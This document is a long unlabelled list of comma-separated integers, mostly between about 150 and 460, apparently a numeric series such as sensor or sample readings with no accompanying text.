321, 315, 399, 418, 425, 433, 408, 417, 391, 399, 420, 397, 392, 362, 342, 331, 352, 360, 367, 331, 342, 327, 311, 314, 334, 344, 340, 350, 327, 354, 329, 322, 329, 329, 314, 336, 323, 326, 354, 329, 323, 381, 398, 401, 384, 398, 388, 383, 366, 369, 383, 378, 348, 281, 253, 253, 260, 287, 276, 261, 252, 266, 271, 263, 243, 239, 253, 268, 252, 246, 221, 215, 195, 224, 187, 347, 367, 352, 349, 321, 331, 341, 348, 333, 304, 330, 334, 332, 340, 334, 329, 331, 336, 319, 255, 251, 245, 232, 232, 237, 223, 227, 228, 329, 340, 356, 342, 351, 300, 296, 296, 267, 276, 297, 293, 318, 320, 311, 336, 327, 312, 280, 256, 250, 257, 242, 259, 254, 250, 294, 295, 302, 311, 322, 302, 313, 297, 301, 353, 429, 414, 407, 416, 405, 421, 439, 417, 422, 414, 387, 383, 380, 376, 368, 319, 292, 306, 281, 265, 265, 261, 198, 195, 188, 200, 212, 225, 209, 208, 229, 202, 206, 197, 206, 217, 228, 217, 224, 211, 263, 461, 441, 454, 443, 440, 428, 384, 357, 344, 326, 280, 287, 307, 260, 276, 269, 278, 282, 253, 266, 270, 272, 272, 310, 305, 314, 307, 301, 307, 311, 310, 364, 432, 395, 412, 418, 403, 403, 403, 417, 414, 412, 386, 415, 422, 408, 394, 349, 354, 333, 336, 361, 340, 355, 342, 336, 334, 351, 342, 350, 347, 346, 339, 357, 344, 335, 352, 368, 352, 371, 338, 355, 337, 343, 309, 321, 309, 312, 317, 317, 306, 320, 315, 307, 413, 423, 438, 431, 419, 430, 431, 433, 431, 437, 392, 407, 348, 357, 338, 351, 362, 349, 350, 343, 371, 348, 351, 355, 358, 368, 364, 359, 346, 333, 335, 321, 321, 329, 340, 334, 324, 323, 311, 333, 331, 334, 323, 330, 304, 253, 274, 268, 283, 278, 280, 260, 275, 326, 433, 446, 442, 448, 454, 412, 413, 439, 374, 331, 309, 326, 318, 323, 321, 312, 289, 330, 326, 385, 428, 416, 412, 409, 365, 378, 351, 353, 362, 373, 335, 339, 345, 349, 331, 341, 350, 348, 357, 343, 369, 386, 363, 408, 381, 377, 383, 377, 368, 381, 367, 353, 361, 353, 357, 356, 361, 357, 353, 360, 368, 353, 378, 376, 380, 368, 373, 391, 319, 296, 263, 235, 210, 228, 214, 231, 227, 223, 221, 224, 220, 224, 230, 241, 238, 225, 240, 234, 395, 464, 376, 372, 354, 340, 334, 333, 333, 336, 335, 340, 336, 344, 322, 316, 326, 311, 310, 308, 380, 359, 378, 380, 366, 355, 360, 362, 376, 360, 353, 366, 363, 352, 340, 335, 342, 335, 325, 319, 316, 322, 300, 305, 324, 314, 363, 381, 376, 381, 377, 372, 372, 374, 366, 389, 363, 343, 354, 314, 344, 332, 303, 334, 342, 346, 326, 333, 331, 343, 315, 315, 291, 294, 326, 382, 370, 357, 349, 368, 365, 340, 360, 361, 362, 355, 348, 359, 357, 358, 353, 355, 349, 360, 374, 376, 360, 360, 376, 393, 356, 347, 339, 333, 357, 347, 332, 297, 276, 277, 246, 249, 251, 275, 253, 249, 211, 222, 210, 223, 222, 205, 219, 225, 339, 347, 365, 369, 341, 342, 366, 339, 342, 332, 328, 323, 348, 345, 368, 332, 353, 329, 341, 341, 341, 353, 331, 322, 308, 317, 307, 304, 306, 304, 316, 295, 303, 312, 300, 301, 306, 295, 312, 299, 311, 296, 308, 304, 292, 315, 314, 339, 327, 294, 297, 301, 310, 345, 352, 377, 369, 374, 364, 382, 371, 386, 345, 342, 359, 351, 345, 348, 360, 367, 348, 361, 351, 349, 342, 352, 355, 334, 357, 351, 334, 312, 316, 302, 303, 306, 311, 326, 314, 368, 407, 394, 400, 358, 369, 302, 311, 290, 306, 295, 291, 303, 260, 276, 294, 282, 283, 269, 273, 292, 283, 263, 277, 270, 283, 293, 359, 339, 352, 350, 342, 351, 346, 363, 370, 338, 350, 317, 306, 308, 286, 284, 263, 257, 256, 232, 238, 232, 236, 237, 231, 242, 229, 185, 193, 221, 203, 210, 190, 195, 224, 210, 253, 261, 259, 255, 249, 262, 260, 247, 329, 353, 336, 335, 348, 333, 276, 263, 280, 272, 281, 282, 264, 366, 363, 353, 356, 365, 358, 365, 365, 337, 339, 340, 350, 359, 340, 342, 355, 368, 372, 369, 401, 396, 418, 385, 398, 398, 403, 384, 387, 394, 399, 397, 375, 374, 388, 383, 361, 331, 312, 321, 321, 315, 329, 309, 316, 318, 319, 389, 396, 378, 379, 391, 394, 361, 288, 279, 269, 287, 283, 264, 272, 296, 288, 296, 277, 299, 211, 209, 209, 196, 210, 193, 221, 209, 201, 209, 213, 213, 208, 211, 213, 215, 302, 377, 396, 351, 371, 364, 355, 355, 284, 373, 358, 360, 285, 261, 257, 267, 271, 243, 272, 266, 256, 246, 278, 266, 272, 293, 280, 277, 306, 296, 281, 272, 290, 275, 286, 280, 283, 294, 286, 277, 286, 292, 335, 366, 348, 350, 362, 363, 367, 265, 269, 279, 277, 270, 267, 279, 289, 280, 293, 274, 295, 285, 297, 346, 357, 355, 337, 347, 330, 297, 330, 310, 312, 333, 326, 322, 319, 322, 303, 302, 323, 333, 330, 321, 291, 273, 287, 298, 293, 289, 288, 301, 285, 304, 291, 293, 290, 270, 284, 313, 340, 338, 329, 320, 325, 336, 328, 339, 350, 372, 380, 365, 359, 325, 368, 363, 364, 374, 374, 413, 369, 348, 372, 336, 339, 338, 346, 338, 342, 337, 338, 343, 361, 368, 452, 347, 416, 347, 345, 352, 350, 352, 345, 345, 334, 324, 336, 336, 332, 320, 314, 321, 386, 381, 364, 368, 364, 382, 347, 278, 275, 261, 242, 240, 229, 226, 241, 223, 238, 267, 247, 229, 231, 228, 224, 226, 225, 220, 225, 211, 234, 238, 247, 245, 239, 259, 248, 243, 248, 265, 230, 236, 230, 250, 235, 236, 245, 216, 195, 188, 194, 181, 184, 203, 195, 201, 199, 197, 228, 273, 271, 273, 233, 294, 279, 275, 277, 270, 282, 275, 273, 268, 286, 280, 267, 318, 374, 372, 361, 361, 329, 312, 248, 275, 262, 247, 261, 267, 251, 262, 253, 238, 256, 254, 256, 256, 248, 248, 244, 237, 258, 256, 248, 241, 245, 256, 243, 248, 240, 242, 247, 243, 216, 222, 213, 214, 213, 214, 203, 209, 211, 222, 203, 202, 216, 209, 195, 272, 283, 296, 272, 272, 283, 320, 361, 347, 346, 281, 266, 257, 242, 240, 246, 257, 248, 259, 256, 262, 287, 352, 375, 368, 345, 376, 367, 360, 339, 339, 331, 334, 334, 350, 338, 338, 326, 335, 342, 315, 332, 389, 400, 382, 390, 383, 381, 380, 396, 378, 383, 323, 292, 289, 259, 285, 272, 251, 208, 215, 226, 202, 221, 235, 259, 260, 252, 277, 263, 243, 264, 258, 372, 374, 360, 358, 370, 356, 366, 351, 260, 280, 295, 361, 362, 359, 398, 387, 406, 357, 349, 343, 332, 356, 338, 338, 294, 300, 288, 300, 292, 296, 295, 297, 288, 295, 272, 354, 378, 379, 388, 369, 372, 364, 362, 366, 361, 353, 359, 359, 360, 357, 376, 358, 302, 296, 356, 296, 294, 261, 257, 256, 262, 259, 283, 305, 329, 306, 324, 308, 318, 306, 334, 376, 320, 341, 371, 366, 356, 380, 366, 337, 326, 364, 382, 365, 348, 344, 366, 384, 365, 358, 369, 349, 345, 343, 344, 344, 297, 266, 264, 296, 267, 274, 267, 269, 272, 241, 269, 276, 256, 260, 248, 250, 262, 269, 258, 260, 246, 311, 384, 382, 384, 390, 375, 390, 367, 352, 339, 302, 298, 285, 308, 285, 272, 265, 307, 289, 295, 278, 295, 301, 274, 293, 296, 289, 278, 283, 291, 276, 245, 224, 194, 220, 245, 238, 232, 219, 233, 228, 212, 219, 216, 212, 222, 221, 219, 220, 221, 200, 202, 184, 180, 191, 201, 184, 223, 386, 395, 377, 369, 393, 382, 383, 385, 378, 399, 375, 328, 288, 277, 278, 238, 243, 241, 219, 239, 250, 229, 246, 245, 238, 227, 233, 242, 265, 242, 237, 230, 233, 237, 242, 227, 223, 210, 202, 220, 221, 212, 215, 206, 198, 212, 201, 202, 197, 199, 195, 184, 255, 287, 276, 279, 271, 352, 347, 361, 339, 360, 355, 343, 348, 349, 349, 359, 358, 371, 363, 366, 364, 348, 344, 348, 361, 357, 363, 341, 343, 334, 338, 356, 354, 356, 379, 360, 353, 348, 345, 356, 352, 329, 344, 364, 358, 303, 293, 245, 232, 229, 211, 231, 246, 246, 239, 240, 257, 243, 250, 247, 249, 258, 320, 319, 328, 323, 307, 316, 321, 312, 313, 307, 304, 316, 326, 310, 322, 345, 415, 409, 384, 329, 346, 304, 293, 286, 307, 290, 307, 287, 294, 283, 289, 318, 297, 298, 330, 273, 291, 275, 305, 289, 276, 272, 289, 277, 353, 365, 337, 356, 371, 384, 379, 381, 351, 379, 345, 347, 356, 327, 294, 299, 295, 295, 244, 324, 271, 244, 277, 254, 241, 242, 246, 240, 267, 259, 296, 352, 338, 330, 348, 326, 338, 334, 331, 320, 331, 323, 336, 343, 336, 346, 350, 351, 338, 354, 337, 353, 359, 343, 330, 333, 357, 335, 349, 335, 351, 342, 351, 364, 345, 337, 335, 345, 341, 335, 350, 333, 353, 362, 371, 374, 366, 345, 321, 324, 332, 337, 360, 369, 404, 418, 417, 424, 428, 405, 427, 438, 423, 393, 398, 391, 417, 411, 393, 393, 367, 363, 349, 367, 354, 339, 338, 344, 328, 330, 310, 315, 310, 323, 314, 317, 332, 328, 321, 439, 447, 432, 430, 446, 420, 396, 362, 355, 327, 330, 315, 315, 319, 333, 317, 339, 302, 306, 286, 342, 333, 326, 277, 256, 257, 251, 327, 295, 241, 249, 260, 233, 276, 379, 372, 241, 230, 231, 229, 227, 227, 392, 335, 356, 349, 378, 311, 294, 300, 314, 287, 290, 296, 295, 318, 375, 366, 371, 372, 378, 356, 378, 356, 364, 380, 367, 372, 369, 330, 357, 371, 375, 337, 331, 337, 341, 318, 337, 341, 319, 330, 320, 257, 243, 238, 222, 213, 216, 368, 409, 411, 416, 396, 383, 378, 401, 395, 403, 399, 400, 406, 399, 393, 405, 373, 371, 348, 344, 361, 329, 331, 335, 299, 292, 276, 300, 285, 301, 291, 286, 310, 315, 275, 264, 265, 267, 272, 246, 231, 227, 238, 240, 234, 230, 241, 179, 194, 195, 197, 198, 216, 184, 190, 242, 269, 290, 273, 282, 264, 306, 312, 270, 268, 261, 262, 267, 258, 269, 274, 253, 277, 255, 263, 318, 363, 380, 380, 366, 365, 357, 378, 374, 380, 357, 369, 360, 353, 356, 368, 363, 382, 355, 368, 375, 377, 373, 387, 379, 397, 385, 383, 373, 364, 398, 362, 381, 365, 349, 365, 362, 367, 328, 330, 332, 320, 321, 331, 322, 319, 327, 326, 336, 309, 325, 315, 346, 348, 346, 345, 345, 362, 347, 343, 372, 370, 356, 368, 359, 369, 361, 352, 382, 367, 361, 363, 356, 368, 365, 368, 365, 370, 362, 369, 371, 369, 371, 356, 349, 368, 366, 368, 323, 323, 341, 322, 339, 337, 333, 333, 337, 348, 362, 333, 354, 336, 353, 343, 338, 334, 316, 289, 288, 287, 290, 298, 281, 291, 273, 291, 274, 277, 369, 380, 403, 306, 304, 293, 310, 308, 303, 320, 293, 206, 221, 216, 213, 223, 216, 214, 222, 222, 227, 230, 246, 238, 246, 289, 319, 325, 314, 296, 279, 278, 277, 311, 334, 332, 338, 315, 342, 338, 334, 321, 361, 375, 403, 396, 365, 393, 366, 378, 300, 282, 282, 290, 304, 300, 301, 286, 281, 274, 297, 284, 286, 307, 302, 297, 291, 276, 287, 278, 285, 298, 302, 286, 292, 301, 312, 289, 322, 371, 393, 376, 380, 372, 296, 291, 268, 268, 290, 275, 281, 267, 276, 277, 284, 289, 270, 258, 253, 322, 329, 330, 336, 314, 308, 307, 302, 304, 297, 318, 351, 356, 351, 366, 367, 363, 347, 359, 368, 345, 352, 352, 367, 375, 366, 350, 363, 348, 349, 362, 375, 367, 379, 376, 373, 370, 369, 367, 371, 378, 365, 369, 354, 362, 344, 351, 353, 343, 269, 274, 269, 284, 262, 254, 260, 292, 291, 280, 275, 281, 383, 366, 373, 370, 369, 370, 373, 316, 275, 293, 273, 257, 328, 229, 208, 216, 221, 217, 209, 205, 218, 218, 232, 261, 265, 247, 233, 267, 276, 275, 362, 359, 365, 378, 372, 364, 371, 371, 382, 366, 354, 352, 356, 333, 348, 345, 346, 347, 353, 351, 359, 354, 364, 351, 367, 356, 370, 370, 350, 349, 370, 372, 354, 371, 355, 386, 377, 357, 363, 379, 374, 386, 361, 364, 344, 359, 366, 355, 349, 355, 352, 331, 334, 362, 354, 365, 366, 365, 372, 379, 383, 372, 366, 370, 381, 359, 349, 391, 359, 353, 359, 356, 363, 356, 349, 299, 285, 278, 277, 265, 270, 222, 224, 218, 204, 206, 208, 203, 189, 163, 153, 174, 197, 240, 318, 334, 328, 334, 329, 307, 333, 318, 315, 319, 307, 315, 317, 323, 319, 303, 334, 319, 298, 304, 346, 330, 350, 336, 333, 376, 374, 368, 371, 359, 356, 306, 290, 271, 275, 284, 271, 229, 225, 218, 214, 219, 218, 242, 229, 237, 237, 243, 256, 255, 252, 250, 249, 262, 276, 229, 247, 241, 253, 238, 250, 268, 258, 257, 260, 255, 257, 253, 245, 265, 250, 258, 256, 255, 251, 231, 254, 240, 219, 198, 229, 233, 245, 247, 242, 240, 234, 242, 235, 256, 248, 242, 246, 235, 252, 236, 225, 243, 257, 268, 270, 265, 255, 259, 238, 252, 259, 264, 265, 263, 266, 311, 346, 338, 341, 385, 358, 377, 380, 396, 373, 354, 360, 368, 371, 369, 341, 310, 314, 304, 308, 353, 360, 347, 359, 343, 301, 278, 258, 268, 265, 254, 259, 265, 268, 326, 373, 373, 381, 383, 385, 392, 375, 372, 377, 371, 385, 359, 305, 257, 237, 260, 267, 253, 250, 263, 252, 270, 271, 263, 254, 252, 264, 248, 262, 255, 259, 260, 253, 285, 313, 306, 313, 310, 327, 320, 312, 305, 309, 351, 359, 371, 385, 355, 345, 340, 306, 290, 316, 300, 310, 312, 282, 280, 293, 340, 325, 312, 324, 328, 330, 289, 288, 294, 285, 291, 286, 316, 328, 323, 303, 317, 309, 329, 318, 311, 283, 299, 312, 324, 307, 326, 325, 297, 291, 296, 292, 292, 293, 345, 363, 372, 372, 331, 354, 334, 340, 325, 338, 339, 329, 352, 343, 355, 334, 348, 422, 389, 375, 377, 387, 393, 396, 405, 371, 388, 395, 354, 249, 228, 231, 223, 232, 218, 239, 235, 240, 244, 247, 220, 228, 252, 246, 234, 231, 229, 255, 261, 251, 315, 393, 384, 385, 383, 392, 394, 401, 368, 382, 342, 368, 352, 346, 350, 310, 293, 206, 217, 203, 214, 213, 204, 189, 188, 193, 196, 208, 194, 222, 274, 278, 273, 280, 255, 281, 276, 275, 289, 292, 389, 386, 369, 374, 375, 346, 340, 331, 341, 324, 342, 332, 323, 334, 338, 334, 311, 246, 260, 243, 256, 242, 252, 259, 245, 245, 278, 264, 280, 259, 269, 261, 244, 304, 318, 346, 343, 387, 379, 379, 380, 360, 371, 395, 325, 327, 369, 360, 335, 289, 289, 285, 278, 246, 278, 286, 270, 283, 255, 257, 251, 243, 251, 254, 220, 233, 207, 221, 240, 208, 191, 168, 171, 171, 183, 151, 168, 174, 156, 168, 199, 232, 217, 212, 210, 243, 254, 257, 294, 198, 334, 342, 359, 342, 339, 324, 308, 293, 292, 326, 348, 359, 349, 360, 326, 337, 335, 364, 342, 288, 273, 275, 275, 269, 274, 271, 269, 272, 250, 272, 264, 273, 287, 311, 309, 309, 323, 310, 329, 449, 430, 428, 427, 452, 429, 423, 349, 324, 357, 346, 336, 327, 339, 339, 349, 325, 321, 324, 330, 370, 402, 402, 394, 401, 399, 388, 397, 379, 407, 408, 380, 384, 347, 307, 286, 292, 291, 280, 290, 283, 292, 302, 301, 308, 260, 226, 243, 206, 210, 222, 215, 223, 215, 216, 221, 224, 217, 263, 259, 246, 250, 330, 312, 329, 333, 325, 353, 313, 333, 333, 324, 316, 294, 305, 304, 308, 294, 309, 303, 288, 328, 367, 387, 380, 379, 371, 330, 299, 305, 299, 296, 281, 309, 291, 298, 307, 296, 299, 296, 260, 259, 248, 277, 256, 271, 261, 257, 252, 248, 265, 261, 254, 290, 259, 260, 275, 279, 266, 274, 269, 270, 258, 246, 256, 276, 233, 211, 225, 199, 157, 180, 160, 259, 260, 273, 256, 347, 376, 361, 387, 364, 371, 374, 382, 372, 382, 367, 380, 372, 365, 361, 351, 364, 370, 360, 354, 343, 364, 324, 324, 339, 334, 344, 345, 335, 343, 348, 356, 350, 347, 320, 291, 300, 299, 280, 283, 297, 292, 296, 308, 302, 300, 300, 302, 300, 301, 355, 353, 401, 373, 387, 385, 371, 346, 270, 268, 264, 270, 258, 263, 257, 256, 248, 251, 273, 261, 262, 322, 250, 250, 250, 251, 251, 341, 345, 341, 338, 349, 333, 346, 349, 350, 349, 360, 349, 356, 353, 348, 346, 329, 356, 346, 345, 351, 348, 333, 352, 351, 328, 346, 346, 352, 344, 352, 338, 343, 352, 338, 355, 327, 337, 343, 344, 342, 344, 331, 341, 333, 336, 338, 340, 347, 358, 339, 340, 347, 357, 354, 346, 339, 356, 358, 328, 331, 331, 347, 334, 345, 356, 324, 340, 336, 326, 324, 345, 352, 324, 335, 373, 343, 374, 359, 375, 372, 356, 359, 356, 357, 362, 297, 276, 273, 264, 263, 243, 206, 203, 204, 207, 213, 205, 206, 213, 201, 208, 206, 204, 218, 123, 73, 231, 262, 249, 260, 262, 244, 240, 336, 368, 354, 349, 321, 325, 338, 324, 328, 326, 340, 350, 339, 340, 339, 325, 321, 325, 332, 275, 292, 281, 280, 244, 224, 332, 272, 276, 255, 258, 254, 241, 276, 296, 267, 220, 263, 270, 259, 225, 204, 222, 225, 233, 237, 192, 244, 256, 240, 235, 235, 196, 258, 233, 210, 215, 227, 233, 232, 218, 198, 186, 209, 204, 229, 277, 274, 275, 360, 350, 347, 366, 369, 363, 349, 316, 306, 228, 225, 227, 239, 210, 221, 233, 222, 227, 240, 288, 275, 243, 258, 250, 248, 278, 251, 247, 290, 237, 293, 297, 449, 437, 439, 437, 430, 455, 430, 453, 422, 437, 225, 260, 228, 223, 251, 346, 344, 346, 373, 365, 347, 373, 339, 356, 359, 366, 367, 361, 357, 302, 300, 292, 293, 281, 286, 270, 277, 276, 274, 293, 287, 274, 283, 292, 284, 298, 289, 288, 274, 276, 269, 232, 216, 222, 217, 212, 224, 218, 224, 228, 220, 254, 272, 274, 263, 277, 262, 275, 270, 279, 280, 287, 311, 283, 360, 355, 316, 288, 274, 271, 279, 246, 287, 274, 289, 295, 275, 271, 286, 347, 354, 349, 355, 359, 360, 356, 349, 366, 341, 338, 346, 331, 263, 223, 245, 231, 213, 217, 217, 253, 256, 264, 252, 257, 265, 264, 272, 274, 254, 279, 261, 267, 262, 278, 264, 377, 347, 358, 376, 344, 329, 346, 355, 349, 343, 345, 341, 348, 336, 356, 359, 353, 357, 369, 363, 350, 336, 357, 370, 354, 384, 379, 371, 367, 363, 371, 378, 368, 366, 379, 364, 310, 285, 295, 282, 288, 297, 296, 289, 295, 270, 236, 241, 237, 250, 219, 225, 233, 244, 228, 245, 235, 242, 229, 218, 257, 253, 227, 201, 272, 250, 254, 241, 241, 234, 230, 238, 256, 268, 279, 262, 278, 261, 266, 285, 264, 255, 287, 323, 342, 338, 329, 321, 304, 310, 334, 315, 312, 333, 352, 319, 312, 315, 307, 304, 314, 310, 308, 326, 323, 315, 296, 311, 292, 319, 330, 391, 379, 400, 398, 381, 386, 384, 371, 390, 382, 378, 361, 375, 348, 371, 366, 369, 373, 358, 348, 342, 354, 353, 360, 318, 268, 284, 237, 249, 257, 253, 244, 256, 221, 225, 239, 232, 186, 202, 203, 128, 174, 208, 185, 200, 246, 250, 267, 257, 245, 248, 298, 368, 365, 354, 358, 357, 358, 356, 359, 340, 362, 345, 366, 363, 337, 340, 325, 349, 368, 339, 332, 321, 339, 337, 336, 337, 326, 323, 342, 341, 331, 306, 313, 311, 303, 315, 303, 307, 287, 307, 306, 312, 312, 297, 289, 309, 367, 374, 363, 376, 370, 377, 366, 379, 366, 361, 343, 359, 351, 354, 348, 352, 359, 350, 327, 342, 336, 365, 339, 328, 399, 385, 367, 369, 375, 363, 387, 375, 362, 355, 372, 301, 272, 264, 258, 253, 262, 267, 248, 261, 254, 263, 271, 366, 356, 313, 334, 328, 337, 315, 325, 318, 334, 313, 304, 329, 316, 311, 336, 366, 350, 368, 371, 369, 372, 375, 360, 338, 282, 270, 243, 243, 221, 221, 189, 207, 204, 204, 227, 214, 243, 267, 254, 253, 264, 250, 258, 310, 357, 364, 363, 362, 347, 362, 352, 350, 332, 307, 302, 317, 325, 320, 308, 302, 313, 309, 266, 296, 298, 301, 290, 296, 295, 280, 384, 383, 391, 383, 393, 372, 388, 356, 353, 352, 354, 331, 352, 305, 297, 303, 297, 294, 285, 298, 275, 253, 234, 212, 215, 219, 221, 167, 175, 162, 178, 190, 268, 256, 269, 273, 275, 277, 260, 277, 279, 290, 276, 277, 280, 274, 256, 273, 267, 272, 263, 309, 346, 338, 342, 339, 338, 338, 341, 332, 342, 344, 340, 299, 280, 286, 272, 275, 286, 285, 299, 295, 277, 300, 285, 285, 387, 373, 356, 355, 364, 348, 369, 370, 353, 367, 346, 356, 346, 363, 351, 356, 358, 355, 362, 339, 354, 365, 344, 320, 327, 325, 328, 322, 397, 401, 409, 405, 383, 379, 370, 397, 372, 366, 306, 278, 282, 304, 284, 295, 301, 294, 296, 308, 307, 310, 298, 314, 311, 315, 306, 319, 314, 280, 309, 313, 317, 305, 309, 393, 401, 402, 355, 345, 337, 311, 302, 292, 292, 288, 285, 283, 267, 355, 371, 358, 359, 360, 366, 368, 366, 377, 366, 362, 352, 345, 344, 336, 329, 326, 316, 321, 318, 338, 324, 331, 341, 324, 330, 332, 337, 330, 327, 315, 306, 324, 292, 296, 276, 282, 285, 337, 326, 334, 315, 346, 339, 320, 313, 317, 294, 280, 300, 283, 277, 269, 266, 318, 359, 353, 380, 349, 346, 342, 344, 345, 339, 349, 348, 350, 349, 362, 349, 350, 352, 346, 344, 333, 349, 335, 358, 343, 342, 335, 336, 303, 321, 306, 308, 298, 308, 322, 318, 307, 306, 307, 440, 453, 458, 440, 443, 427, 421, 437, 416, 435, 433, 423, 428, 434, 435, 444, 436, 373, 348, 354, 346, 366, 357, 369, 375, 372, 360, 367, 351, 354, 361, 355, 365, 351, 355, 353, 361, 373, 353, 345, 346, 337, 328, 322, 330, 283, 257, 279, 273, 271, 294, 276, 275, 270, 274, 272, 265, 274, 272, 258, 289, 246, 246, 274, 262, 257, 206, 194, 214, 206, 205, 204, 202, 193, 213, 204, 212, 247, 264, 267, 251, 247, 271, 257, 262, 261, 263, 254, 253, 362, 338, 370, 345, 364, 352, 363, 353, 330, 297, 269, 255, 257, 240, 246, 214, 244, 256, 254, 240, 229, 235, 240, 246, 363, 386, 376, 396, 372, 372, 376, 356, 388, 368, 386, 365, 387, 361, 277, 283, 295, 266, 270, 271, 274, 267, 257, 249, 254, 325, 312, 329, 311, 312, 330, 330, 332, 322, 333, 322, 306, 301, 319, 320, 303, 291, 301, 299, 285, 276, 291, 272, 276, 317, 323, 322, 327, 328, 337, 335, 319, 336, 316, 284, 269, 336, 314, 341, 335, 281, 244, 215, 261, 237, 218, 225, 311, 358, 232, 235, 219, 320, 369, 429, 410, 441, 412, 383, 345, 364, 373, 355, 362, 353, 354, 360, 342, 361, 344, 363, 358, 352, 351, 357, 341, 325, 325, 320, 348, 336, 358, 366, 375, 412, 416, 389, 388, 393, 397, 411, 387, 372, 390, 379, 313, 348, 360, 290, 269, 270, 267, 269, 264, 275, 271, 276, 271, 263, 274, 232, 246, 249, 210, 237, 234, 239, 264, 292, 332, 365, 334, 326, 330, 307, 306, 282, 285, 273, 324, 350, 362, 347, 343, 312, 333, 334, 401, 360, 332, 334, 388, 374, 381, 313, 266, 259, 259, 269, 263, 268, 282, 261, 259, 272, 273, 265, 256, 258, 264, 271, 259, 278, 340, 428, 439, 400, 414, 389, 383, 389, 340, 283, 258, 270, 268, 252, 277, 264, 265, 238, 252, 259, 259, 248, 251, 250, 255, 247, 269, 242, 274, 254, 235, 245, 248, 257, 347, 327, 329, 325, 339, 341, 330, 284, 326, 340, 342, 331, 353, 363, 383, 373, 396, 393, 391, 372, 359, 344, 364, 394, 344, 332, 336, 326, 345, 328, 340, 348, 323, 320, 269, 263, 265, 251, 266, 303, 342, 353, 357, 326, 330, 344, 356, 342, 341, 348, 332, 355, 383, 393, 419, 356, 350, 342, 351, 357, 345, 334, 343, 354, 334, 317, 315, 312, 314, 302, 317, 318, 310, 304, 311, 329, 304, 314, 318, 368, 389, 388, 401, 378, 398, 384, 408, 387, 392, 398, 400, 413, 377, 390, 392, 388, 380, 371, 368, 380, 357, 306, 296, 310, 286, 300, 296, 293, 309, 299, 321, 306, 310, 316, 315, 324, 318, 348, 327, 333, 309, 326, 304, 309, 297, 291, 308, 298, 321, 322, 312, 309, 293, 299, 334, 340, 344, 366, 355, 351, 358, 344, 374, 352, 350, 350, 369, 352, 301, 270, 271, 277, 263, 260, 282, 257, 273, 258, 270, 263, 309, 344, 340, 334, 320, 315, 346, 348, 334, 344, 365, 331, 370, 366, 377, 385, 372, 355, 383, 378, 378, 393, 383, 389, 379, 385, 387, 379, 376, 382, 306, 322, 312, 338, 312, 323, 320, 321, 326, 293, 299, 312, 317, 297, 275, 289, 288, 288, 284, 284, 296, 274, 282, 287, 289, 285, 292, 277, 274, 282, 250, 222, 223, 231, 243, 249, 249, 249, 243, 240, 236, 215, 207, 220, 197, 196, 191, 254, 248, 242, 251, 246, 252, 262, 262, 249, 253, 262, 244, 219, 251, 257, 283, 261, 259, 267, 265, 264, 281, 278, 276, 267, 265, 275, 268, 282, 276, 266, 352, 384, 389, 371, 386, 382, 355, 357, 371, 364, 380, 372, 372, 389, 379, 371, 363, 366, 381, 365, 380, 382, 372, 380, 323, 331, 305, 315, 314, 296, 310, 306, 302, 310, 308, 309, 249, 221, 216, 213, 295, 329, 339, 342, 367, 335, 355, 361, 354, 354, 366, 361, 364, 354, 342, 300, 293, 285, 274, 290, 282, 255, 265, 285, 284, 285, 278, 291, 293, 275, 281, 301, 301, 328, 407, 427, 409, 415, 423, 389, 355, 322, 394, 344, 333, 386, 365, 360, 362, 335, 344, 400, 396, 346, 351, 306, 328, 328, 307, 313, 307, 312, 312, 313, 314, 311, 282, 242, 237, 242, 249, 234, 389, 398, 370, 344, 350, 345, 350, 384, 338, 321, 356, 363, 346, 343, 364, 349, 366, 278, 233, 209, 217, 221, 318, 368, 371, 367, 363, 358, 352, 359, 339, 305, 311, 308, 313, 303, 310, 279, 290, 303, 302, 295, 304, 283, 308, 279, 302, 324, 255, 236, 225, 240, 294, 286, 272, 209, 232, 231, 218, 235, 233, 219, 217, 217, 230, 224, 228, 213, 216, 220, 140, 141, 161, 175, 144, 151, 159, 165, 152, 146, 205, 198, 215, 217, 220, 229, 203, 226, 213, 207, 326, 395, 396, 391, 407, 388, 382, 388, 406, 367, 372, 369, 371, 268, 268, 256, 211, 204, 180, 196, 198, 212, 198, 182, 205, 283, 266, 248, 259, 355, 295, 383, 389, 391, 406, 381, 397, 389, 390, 355, 254, 252, 268, 229, 227, 208, 219, 211, 216, 230, 236, 351, 145, 201, 280, 340, 354, 367, 378, 406, 403, 376, 391, 384, 370, 387, 351, 342, 339, 322, 329, 324, 328, 311, 311, 321, 297, 320, 310, 299, 311, 311, 300, 303, 333, 285, 283, 286, 280, 279, 268, 274, 270, 242, 240, 245, 257, 237, 245, 255, 258, 272, 264, 277, 268, 257, 263, 266, 296, 266, 260, 259, 275, 259, 269, 279, 277, 257, 251, 272, 282, 276, 269, 266, 273, 274, 274, 266, 282, 273, 272, 265, 342, 380, 377, 385, 396, 371, 367, 375, 400, 380, 392, 396, 380, 370, 350, 362, 380, 365, 354, 329, 339, 359, 324, 309, 302, 330, 329, 357, 349, 344, 349, 353, 357, 339, 335, 339, 340, 344, 316, 326, 320, 368, 372, 384, 378, 363, 296, 287, 291, 265, 256, 273, 292, 237, 230, 222, 215, 234, 240, 229, 249, 217, 233, 229, 237, 226, 258, 264, 257, 271, 259, 265, 237, 252, 248, 254, 249, 256, 244, 249, 254, 243, 260, 254, 272, 269, 253, 269, 261, 274, 261, 261, 268, 249, 265, 249, 254, 257, 255, 246, 234, 245, 226, 257, 261, 243, 249, 247, 232, 244, 250, 262, 249, 243, 237, 264, 263, 231, 248, 233, 240, 226, 234, 244, 230, 220, 245, 236, 256, 234, 242, 232, 238, 244, 236, 237, 220, 244, 245, 242, 223, 226, 241, 247, 237, 238, 236, 232, 230, 241, 234, 240, 239, 234, 254, 185, 200, 181, 187, 198, 178, 196, 184, 186, 173, 197, 211, 196, 190, 183, 191, 193, 193, 185, 190, 190, 346, 374, 375, 367, 361, 376, 378, 367, 358, 362, 328, 325, 316, 309, 320, 341, 329, 329, 317, 316, 323, 334, 304, 306, 310, 319, 306, 317, 304, 308, 313, 319, 308, 305, 301, 303, 309, 318, 297, 284, 328, 324, 313, 327, 330, 323, 275, 258, 251, 241, 252, 332, 335, 350, 323, 343, 354, 349, 361, 352, 360, 366, 361, 360, 382, 367, 344, 368, 373, 357, 341, 354, 361, 347, 356, 370, 359, 370, 372, 350, 357, 347, 378, 364, 357, 356, 352, 381, 364, 274, 295, 288, 291, 279, 291, 274, 262, 276, 301, 300, 273, 287, 264, 286, 288, 266, 273, 275, 279, 295, 306, 290, 271, 369, 351, 365, 370, 302, 284, 291, 272, 294, 274, 290, 281, 278, 272, 252, 229, 148, 163, 159, 163, 171, 180, 160, 172, 167, 163, 151, 158, 171, 151, 169, 157, 202, 203, 201, 96, 294, 204, 284, 